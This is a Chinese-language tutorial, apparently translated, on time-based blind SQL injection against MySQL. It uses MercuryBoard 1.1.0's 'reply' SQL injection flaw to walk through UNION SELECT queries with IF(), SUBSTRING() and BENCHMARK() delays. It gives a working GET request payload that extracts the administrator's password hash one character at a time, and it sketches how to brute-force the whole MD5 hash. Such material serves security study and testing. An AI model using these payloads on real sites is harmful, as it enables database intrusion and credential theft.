基於這個原因用SELECT...UNION是不夠的。
注射工具盒
當我們得到沒有錯誤提示,一個普通的注射總是用UNION SELECT [null,null,..到前面選擇裡正確列的數字]/* 去看,
因此我們可以更深入。假如沒有輸出結果顯示,即使我們准確地知道每個表裡每個列的名字,也幾乎不可能得到內容。
用codebug.org發現的MercuryBoard裡不可利用的漏洞做例子,我將會一步一步演示如何從被裡發現的不可利用的漏洞裡找到密碼散列。
我假設這個表的名字是已知的。(在審核一個開放腳本資源,或者調試默認選項是否活動是,這是都一種正常的假設)
漏洞
MercuryBoard v. 1.1.0 Alberto Trivero發現存在一個SQL注入漏洞,當post.PHP包含被設置成'reply',並且參數't'被傳遞。
當用戶登陸進行以下操作時,結果將會發生一個錯誤:
http://www.site.com/mercuryboard/index.PHP?a=post&s=reply&t=1'
這個結果看起來像是不能被利用的。
准備好盲目性
首先用數據庫低權限的用戶完整安裝有漏洞的Mercuryboard版本。
|---|數據庫名字是'mercuryboard'|---| (讓我顯示表名)
MySQL> SHOW TABLES;
+-------------------+
| Tables_in_mercury |
+-------------------+
| mb_active |
| mb_attach |
| mb_forums |
| mb_groups |
| mb_help |
| mb_logs |
| mb_membertitles |
| mb_pmsystem |
| mb_posts |
| mb_replacements |
| mb_settings |
| mb_skins |
| mb_subscriptions |
| mb_templates |
| mb_topics |
| mb_users |
| mb_votes |
+-------------------+
17 rows in set (0.00 sec)
|---| 你看到的當前用戶是普通用戶|---| (不會作為root運行)
MySQL> SELECT USER();
+---------------+
| USER() |
+---------------+
| 123@localhost |
+---------------+
1 row in set (0.00 sec)
mysql> SELECT passWord,USER() FROM MySQL.user;
ERROR 1142: select command denIEd to user: '123@localhost' for table 'user'
MySQL>
|---| 下面的查詢將顯示管理員的散列的第一個字節|---|
MySQL> SELECT SUBSTRING(user_passWord,1,1) FROM mb_users WHERE user_group = 1;
+------------------------------+
| SUBSTRING(user_passWord,1,1) |
+------------------------------+
| 5 |
+------------------------------+
1 row in set (0.00 sec)
|---| 下面顯示管理員散列ASCII的第一個字節|---|
MySQL> SELECT ASCII('5');
+------------+
| ASCII('5') |
+------------+
| 53 |
+------------+
1 row in set (0.00 sec)
區別
目標是找到一種以某種方式建議的方法,以至我們尋找的內容是正確的。怎麼可能知道管理員散列的第一個
字節是否等於'5'?在NGSS資料裡,假如內容與注射的匹配,作者將簡單的使查詢延遲。在mssql裡這個會用一個條件
IF [QUERY] waitfor [TIME]來追加,而MySQL不支持'waitfor'。
在下面查詢中我成功的用IF()函數跟隨一個BENCHMARK()函數來創建5秒鐘的延遲。當前用戶可以用低權限
執行(當然假如你可以SELECT你就可以執行BENCHMARK()函數)。
|---|傳遞一個錯誤的數字 |---| (CHAR(52) is equal to '4')
MySQL> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_passWord,1
,1) = CHAR(52),BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')),null) FROM
mb_users WHERE user_group = 1;
+-----------+
| active_id |
+-----------+
| 3 |
| 0 |
+-----------+
2 rows in set (0.00 sec)
在前面的例子中BENCHMARK()函數沒有被執行((耗時
0.00 sec). )
|---| 傳遞相匹配內容|---| (BENCHMARK() 被執行)
MySQL> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_passWord,1
,1) = CHAR(53),BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')),null) FROM
mb_users WHERE user_group = 1;
+-----------+
| active_id |
+-----------+
| 3 |
| 0 |
+-----------+
2 rows in set (5.36 sec)
在前面的例子裡BENCHMARK()函數延遲查詢5.36s。
對GET req修補
為能成功注射SQL指令我們不得不清除任何單個回顯的request.
|---| 清除回顯|---|
MySQL> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_passWord,1
,1) = CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),null) FROM mb_users WHERE user_gr
oup = 1;
+-----------+
| active_id |
+-----------+
| 3 |
| 0 |
+-----------+
2 rows in set (4.65 sec)
MySQL>
漏洞利用
首先我們必須登陸一個已注冊的用戶。
/mercuryboard/index.PHP?a=post&s=reply&t=1%20UNION%20SELECT%20IF
(SUBSTRING(user_passWord,1,1)%20=%20CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),
null),null,null,null,null%20FROM%20mb_users%20WHERE%20user_group%20=%201/*
我們可以看到慢下2秒導致第一字節是CHAR(53), 5。
暴力破解
一個字母一個字母地重建內容是必須的,僅僅一個簡單的perl腳本執行GET 請求並等待一個字節一個字節
的回答{..SUBSTRING(strn,[1,2,3..n],1)..},假如這個回應被延遲了7-10秒,我們有權利填充。暴力破解
可以得到MD5散列,32字節。
0 to 9 --> ASCII 48 to 57
a to z --> ASCII 97 to 122
最差的結果是36個請求,每個請求3秒加上延遲才是正確的字節,得到完整散列為((3*35)+10)*32= 3622 秒(1小時)
結論
MySQL可以被盲注。